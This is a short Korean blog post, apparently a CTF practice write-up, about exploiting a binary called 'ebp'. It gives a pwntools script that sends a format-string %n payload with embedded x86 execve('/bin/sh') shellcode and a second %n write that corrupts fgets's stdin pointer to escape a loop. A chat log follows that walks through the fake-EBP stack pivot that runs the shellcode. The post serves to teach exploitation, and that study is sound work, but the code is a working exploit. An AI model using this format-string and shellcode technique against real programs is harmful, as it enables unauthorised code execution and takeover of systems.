본문 바로가기
시스템 해킹/cykor

ebp-쉘코드, fake ebp, $를 이용한 fsb, fgets의 stdin망가뜨려 while문 벗어나기

by sonysame 2018. 1. 23.

ebp

from pwn import *

import time


s=process('./ebp')

#raw_input()

s.send("%134520971c"+"%4$n"+"\x93\xa0\x04\x08"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\n")

s.send("%4c"+"%16$n"+"\n") //fgets의 stdin망가뜨려 while문 벗어나기

s.interactive()

s.close()





[김희연] [오전 3:25] 그래서 %4$n하면

[김희연] [오전 3:25] 0xffffd148d안에

[김희연] [오전 3:25] 들어있는값이

[김희연] [오전 3:25] 조작되자나

[김희연] [오전 3:25] 134520971

[김희연] [오전 3:25] 이걸로

[김희연] [오전 3:26] 134520971이 16진수로 바꾸면 0x804a08b인데


[김희연] [오전 3:27] 그러면 이제 0xffffd148이

[김희연] [오전 3:28] 0x804a08b가 된거자나

[김희연] [오전 3:28] 그리고 내가 넣어논 쉘코드는 어디 있냐면

[김희연] [오전 3:28] 0x804a08b+8위치에 있는 상태야

[김희연] [오전 3:29] 그러면 echo가

[김희연] [오전 3:29] 끝날때

[김희연] [오전 3:29] leave에서

[김희연] [오전 3:29] pop ebp할 때 0xffffd148에

[김희연] [오전 3:29] 있었던

[김희연] [오전 3:29] 0x804a08b가 pop돼서

[김희연] [오전 3:29] ebp가 0x804a08b가 돼

[김희연] [오전 3:29] 그 다음에 main이 끝날때

[김희연] [오전 3:30] leave애서

[김희연] [오전 3:30] mov esp, ebp를 하자나

[김희연] [오전 3:30] 그러면 esp가 0x804a08b가 될거고

[김희연] [오전 3:30] pop ebp하면

[김희연] [오전 3:30] esp는

[김희연] [오전 3:30] 0x804a08b+4가 될거고

[김희연] [오전 3:30] ret에서

[김희연] [오전 3:31] pop eip를 하니까

[김희연] [오전 3:31] 0x804a08b+4위치에 있는 주소가

[김희연] [오전 3:31] eip가 될건데

[김희연] [오전 3:31] 내가 0x804a08b+4에 0x804a08b+8의 값을 써 넣었거든

[김희연] [오전 3:32] 그니까 이제

[김희연] [오전 3:32] 쉘코드가

[김희연] [오전 3:32] 실행될 수 있는거얌

[김희연] [오전 3:32] 근데 문제가 있었는데 main의 leave, ret으로 가려면

[김희연] [오전 3:32] while문을

[김희연] [오전 3:32] 빠져나와야해

[김희연] [오전 3:32] 그러려면 fgets의 리턴값이

[김희연] [오전 3:33] 0이 되어야 하는데

[김희연] [오전 3:33] fgets의 입력값으로 널을 주면 되는거긴 한데

[김희연] [오전 3:33] 익스 짤때, 널을 주려고 해도 자꾸 안되더라고

[김희연] [오전 3:33] 그래서 아얘 fgets의 세번째 인자인

[김희연] [오전 3:33] stdin부분을

[김희연] [오전 3:33] 다른 값으로 조작해서

[김희연] [오전 3:33] fgets함수 자체를 실패시켜서 while문을 빠져나왔어


[김희연] [오전 3:33] s.send("%4c"+"%16$n"+"\n")이 부분이
[김희연] [오전 3:33] 그 거야